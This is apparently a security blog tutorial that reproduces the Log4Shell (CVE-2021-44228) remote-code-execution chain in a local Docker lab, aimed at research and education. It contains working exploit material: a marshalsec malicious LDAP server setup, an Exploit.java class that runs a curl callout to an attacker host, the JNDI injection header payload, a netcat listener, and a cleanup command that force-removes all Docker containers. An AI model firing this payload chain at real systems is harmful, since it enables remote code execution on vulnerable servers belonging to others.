Reproducing Log4Shell Locally: A Controlled Exploitation Lab

The ability to reproduce vulnerabilities in a contained lab environment is a cornerstone of responsible security research.

In this post, we build a minimalist setup to safely reproduce Log4Shell (CVE-2021-44228), demonstrating its impact and behavior.

⚠ Disclaimer

This lab is for educational and research purposes only.

Do not deploy this setup on public-facing infrastructure.

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1. Lab Architecture

┌────────────┐     LDAP Callback     ┌────────────┐
│ Vulnerable │  ←───────────────→   │   Attacker │
│   Server   │                      │ (LDAP + JShell) │
└────────────┘                      └────────────┘

Components:

• Vulnerable Java app (Log4j ≤ 2.14.1)
• Malicious LDAP server using marshalsec
• Optional reverse shell or command callback

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2. Setup Vulnerable Server

Clone minimal vulnerable app:

git clone https://github.com/christophetd/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app
docker build -t vulnerable-log4j-app .
docker run -p 8080:8080 vulnerable-log4j-app

Test endpoint:

curl http://localhost:8080 -H 'X-Api-Version: 1.0'

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3. Set Up Malicious LDAP Server

Install dependencies:

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

Run malicious LDAP server:

java -cp target/marshalsec-*.jar marshalsec.jndi.LDAPRefServer \
    "http://<your-ip>:8000/#Exploit"

Note: Host a malicious Java class (Exploit.class) via a simple HTTP server:

python3 -m http.server 8000

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4. Create Exploit Class

Example Exploit.java:

import java.io.IOException;
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("curl http://<your-ip>:9999/pwned");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Compile and serve it:

javac Exploit.java
# place it in your HTTP server root

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5. Trigger the Exploit

Send payload to vulnerable server:

curl http://localhost:8080 -H 'X-Api-Version: ${jndi:ldap://<your-ip>:1389/Exploit}'

Monitor logs / listener:

nc -lvnp 9999  # listener for callout

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6. Observations

Once triggered, the vulnerable server performs a JNDI lookup → loads the remote class → executes the payload.

This confirms RCE and reflects the original threat in controlled conditions.

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7. Cleanup

Always destroy containers and shut down servers after testing:

docker rm -f $(docker ps -aq)

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Final Notes

Reproducing CVEs like Log4Shell helps deepen your understanding of exploit chains,

from surface exposure to execution vectors.

In future posts, we’ll enhance this lab with:

• Real-time reverse shells
• Detection via eBPF or syscalls
• Mitigation layering (WAF, egress control, JVM flags)

Stay sharp. Know the vector. Control the surface.